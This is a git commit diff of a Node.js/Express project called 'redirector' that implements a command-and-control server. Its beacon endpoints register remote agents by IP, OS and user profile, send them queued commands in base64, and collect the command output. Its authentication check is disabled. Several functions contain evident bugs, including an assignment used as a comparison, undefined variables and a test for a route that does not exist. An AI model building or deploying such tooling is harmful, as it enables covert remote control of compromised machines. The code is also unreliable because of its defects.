initial commit
This commit is contained in:
commit
fffb6fe6e9
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
@ -0,0 +1,4 @@
|
||||
/node_modules
|
||||
/coverage
|
||||
|
||||
.editorconfig
|
||||
136
app/app.js
Normal file
136
app/app.js
Normal file
@ -0,0 +1,136 @@
|
||||
const express = require('express')
|
||||
const bodyParser = require('body-parser')
|
||||
|
||||
const tasks = require('./store/tasks')
|
||||
const agents = require('./store/agents')
|
||||
|
||||
const app = express();
|
||||
const taskStore = tasks()
|
||||
const agentStore = agents()
|
||||
|
||||
const allowCrossDomain = function (req, res, next) {
|
||||
res.header('Access-Control-Allow-Origin', '*');
|
||||
res.header('Access-Control-Allow-Headers', '*');
|
||||
res.header('Access-Control-Allow-Methods', 'GET, PUT, POST, DELETE')
|
||||
next()
|
||||
}
|
||||
|
||||
const protect = (req, res, next) => {
|
||||
console.log(req.header['x-access-token'])
|
||||
if (req.header['x-access-token'] !== 'ZzVnNWc1ZzU=' && !req.url.includes('beacon')) {
|
||||
res.status(404).json({
|
||||
message: 'invalid x-access-token'
|
||||
})
|
||||
}
|
||||
next();
|
||||
}
|
||||
|
||||
app.use(bodyParser.json())
|
||||
app.use(bodyParser.text())
|
||||
app.use(allowCrossDomain)
|
||||
//app.use(protect)
|
||||
|
||||
// Interaction with agents
|
||||
app.get('/api/agents', (req, res) => {
|
||||
res.status(200).json(agentStore.getAllAgents())
|
||||
})
|
||||
|
||||
app.get('/api/agents/:agentId', (req, res) => {
|
||||
const agentId = parseInt(req.params.agentId)
|
||||
const agent = agentStore.getAgentById(agentId)
|
||||
if (agent) {
|
||||
res.status(200).json(agent)
|
||||
} else {
|
||||
res.status(404).json({
|
||||
message: 'agent does not exist'
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
app.put('/api/agents/:agentId/status', (req, res) => {
|
||||
const agentId = parseInt(req.params.agentId)
|
||||
agentStore.updateAgentBeaconTime(agentId)
|
||||
res.status(200).json(status)
|
||||
})
|
||||
|
||||
app.get('/api/agents/:agentId/tasks', (req, res) => {
|
||||
const agentId = parseInt(req.params.agentId)
|
||||
const tasks = taskStore.getAllTasksForAgent(agentId)
|
||||
if (tasks) {
|
||||
res.status(200).json(tasks)
|
||||
} else {
|
||||
res.status(404).json({
|
||||
message: 'agent does not exist'
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
// Interact with tasks
|
||||
app.post('/api/tasks', (req, res) => {
|
||||
const { command, agentId } = req.body
|
||||
const taskId = taskStore.addTask(command, agentId)
|
||||
res.status(200).json({
|
||||
taskId: taskId,
|
||||
agentId: agentId
|
||||
})
|
||||
})
|
||||
|
||||
app.get('/api/tasks', (req, res) => {
|
||||
res.status(200).json(taskStore.getAllTasks())
|
||||
})
|
||||
|
||||
app.get('/api/tasks/:taskId', (req, res) => {
|
||||
const taskId = parseInt(req.params.taskId)
|
||||
const task = taskStore.getTaskById(taskId)
|
||||
if (task) {
|
||||
res.status(200).json(task)
|
||||
} else {
|
||||
res.status(404).json({
|
||||
message: 'task does not exist'
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
// Beacon
|
||||
app.post('/beacon', (req, res) => {
|
||||
const [ip, os, profile] = req.body.split(/\|{2}/)
|
||||
const agentId = agentStore.addAgent(os, ip, profile)
|
||||
res.status(200).send(`${agentId}`)
|
||||
})
|
||||
|
||||
app.get('/beacon/:agentId', (req, res) => {
|
||||
const agentId = parseInt(req.params.agentId)
|
||||
const agent = agentStore.getAgentById(agentId)
|
||||
if (agent === null) {
|
||||
res.status(200).send('agent does not exist')
|
||||
} else {
|
||||
agentStore.updateAgentBeaconTime(agentId)
|
||||
const task = taskStore.getNextTaskForAgent(agentId)
|
||||
if (task) {
|
||||
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
|
||||
} else {
|
||||
res.status(200).send('sleep')
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
app.post('/beacon/:agentId', (req, res) => {
|
||||
const agentId = parseInt(req.params.agentId)
|
||||
const agent = agentStore.getAgentById(agentId)
|
||||
if (agent === null) {
|
||||
res.status(200).send('agent does not exist')
|
||||
} else {
|
||||
agentStore.updateAgentBeaconTime(agentId)
|
||||
const [taskId, response] = req.body.split(/\|{2}/)
|
||||
taskStore.updateTaskById(parseInt(taskId), response)
|
||||
const task = taskStore.getTaskById(parseInt(taskId))
|
||||
if (task) {
|
||||
res.status(200).send('ok')
|
||||
} else {
|
||||
res.status(200).send('task does not exist')
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
module.exports = app
|
||||
49
app/store/agents.js
Normal file
49
app/store/agents.js
Normal file
@ -0,0 +1,49 @@
|
||||
const Agents = () => {
|
||||
const obj = {}
|
||||
obj.agents = []
|
||||
|
||||
obj.addAgent = (os, ip, profile) => {
|
||||
const agent = {}
|
||||
agent.id = obj.agents.length + 1
|
||||
agent.os = os
|
||||
agent.ip = ip
|
||||
agent.profile = profile
|
||||
agent.last_beacon_date = new Date(Date.now()).toLocaleString()
|
||||
agent.status = true
|
||||
obj.agents.push(agent)
|
||||
return agent.id
|
||||
}
|
||||
|
||||
obj.getAgentById = (agentId) => {
|
||||
const agent = obj.agents.find(a => a.id === agentId)
|
||||
return agent
|
||||
? agent
|
||||
: null
|
||||
}
|
||||
|
||||
obj.updateAgentBeaconTime = (agentId) => {
|
||||
obj.agents.forEach(a => {
|
||||
if (a.id === agentId) {
|
||||
a.last_beacon_date = new Date(Date.now()).toLocaleString()
|
||||
return true
|
||||
}
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
obj.updateAgentStatus = (agentId) => {
|
||||
obj.agents.forEach(a => {
|
||||
if (a.id === agentId) {
|
||||
a.status = !a.status
|
||||
return true
|
||||
}
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
obj.getAllAgents = () => obj.agents
|
||||
|
||||
return obj
|
||||
}
|
||||
|
||||
module.exports = Agents
|
||||
52
app/store/tasks.js
Normal file
52
app/store/tasks.js
Normal file
@ -0,0 +1,52 @@
|
||||
const Tasks = () => {
|
||||
const obj = {}
|
||||
obj.tasks = []
|
||||
|
||||
obj.addTask = (command, agentId) => {
|
||||
const task = {}
|
||||
task.agentId = agentId
|
||||
task.command = command
|
||||
task.id = obj.tasks.length + 1
|
||||
task.tasked_date = new Date(Date.now()).toLocaleString()
|
||||
task.complete_date = ''
|
||||
task.response = ''
|
||||
obj.tasks.push(task)
|
||||
return task.id
|
||||
}
|
||||
|
||||
obj.getTaskById = (taskId) => {
|
||||
const task = obj.tasks.find(t => t.id = taskId)
|
||||
return task
|
||||
? task
|
||||
: null
|
||||
}
|
||||
|
||||
obj.getNextTaskForAgent = (agentId) => {
|
||||
const task = obj.tasks.find(t => t.agentId === agentId && t.response === '')
|
||||
return task
|
||||
? task
|
||||
: null
|
||||
}
|
||||
|
||||
obj.updateTaskById = (taskId, response) => {
|
||||
obj.tasks.forEach(t => {
|
||||
if (t.id === taskId) {
|
||||
t.response = response
|
||||
t.complete_date = new Date(Date.now()).toLocaleString()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
obj.getAllTasksForAgent = (agentId) => {
|
||||
const tasks = objs.tasks.filter(t => t.agentId === agentId)
|
||||
return tasks.length !== 0
|
||||
? tasks
|
||||
: null
|
||||
}
|
||||
|
||||
obj.getAllTasks = () => obj.tasks
|
||||
|
||||
return obj
|
||||
}
|
||||
|
||||
module.exports = Tasks
|
||||
3
index.js
Normal file
3
index.js
Normal file
@ -0,0 +1,3 @@
|
||||
const app = require('./app/app')
|
||||
|
||||
app.listen(process.env.PORT || 5000, '0.0.0.0')
|
||||
6397
package-lock.json
generated
Normal file
6397
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
28
package.json
Normal file
28
package.json
Normal file
@ -0,0 +1,28 @@
|
||||
{
|
||||
"name": "redirector",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"start": "node index.js",
|
||||
"start-dev": "nodemon index.js",
|
||||
"test": "jest",
|
||||
"test-coverage": "jest --coverage"
|
||||
},
|
||||
"author": "",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"express": "^4.17.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"jest": "^26.4.0",
|
||||
"nodemon": "^2.0.4",
|
||||
"supertest": "^4.0.2"
|
||||
},
|
||||
"jest": {
|
||||
"testEnvironment": "node",
|
||||
"coveragePathIgnorePatterns": [
|
||||
"/node_modules/"
|
||||
]
|
||||
}
|
||||
}
|
||||
13
test/app.test.js
Normal file
13
test/app.test.js
Normal file
@ -0,0 +1,13 @@
|
||||
const request = require('supertest')
|
||||
const app = require('../app/app')
|
||||
|
||||
describe('Endpoints: /home', () => {
|
||||
it('should return hello, world on GET: /home', async () => {
|
||||
return request(app)
|
||||
.get('/home')
|
||||
.then(response => {
|
||||
expect(response.statusCode).toBe(200)
|
||||
expect(response.body.data).toBe('hello, world')
|
||||
})
|
||||
})
|
||||
})
|
||||
Loading…
x
Reference in New Issue
Block a user